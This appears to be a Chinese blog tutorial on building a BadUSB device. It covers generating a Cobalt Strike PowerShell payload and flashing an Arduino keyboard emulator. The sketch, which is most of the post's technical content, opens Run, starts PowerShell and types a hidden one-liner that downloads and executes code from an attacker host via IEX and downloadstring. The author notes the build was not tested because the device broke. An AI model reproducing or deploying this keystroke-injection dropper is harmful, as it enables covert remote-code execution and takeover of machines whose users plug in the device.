一次失敗的badusb制作
最近有個大佬問了我關于badusb的事情。所有想出一期badusb的教程(其實本來已經寫好了一半了的,但是中途我設備壞了。重啟電腦導致沒保存)QAQ

本來想出一期不一樣的badusb(自己設計的payload),但無奈我的badusb壞了。驗證不了我自己的payload。所有........求各位輕點噴。
其實我們所說的badusb就是利用usb協議的漏洞去模擬鍵盤,它只是arduino的開發板。
首先我們打開cs設置監聽并生成powershell的payload

然后我們打開arduino把代碼和payload燒進去

這里有幾點需要注意:
1)在燒錄前需要關閉虛擬機,因為燒錄過程會反復識別設備,虛擬機的設備掃描會阻塞燒錄進行導致失敗。
2)在燒錄前選好對應的開發板型號和端口。
3)
以下是具體代碼:
void setup() {
Keyboard.begin();//啟動鍵盤模擬
delay(5000);//延遲5000毫秒
Keyboard.press(KEY_LEFT_GUI);//按下win鍵
delay(500);
Keyboard.press('r');//按下r鍵
delay(500);
Keyboard.release('r'); //放開r鍵
Keyboard.release(KEY_LEFT_GUI);
Keyboard.press(KEY_CAPS_LOCK);//打開大寫鎖定,防止中文輸入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("POWERSHELL");//打開powershell
delay(500);
Keyboard.releaseAll();//放開所有按鍵
Keyboard.println("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.104:80/a'))\"");//導入payload并運行
delay(3000);
}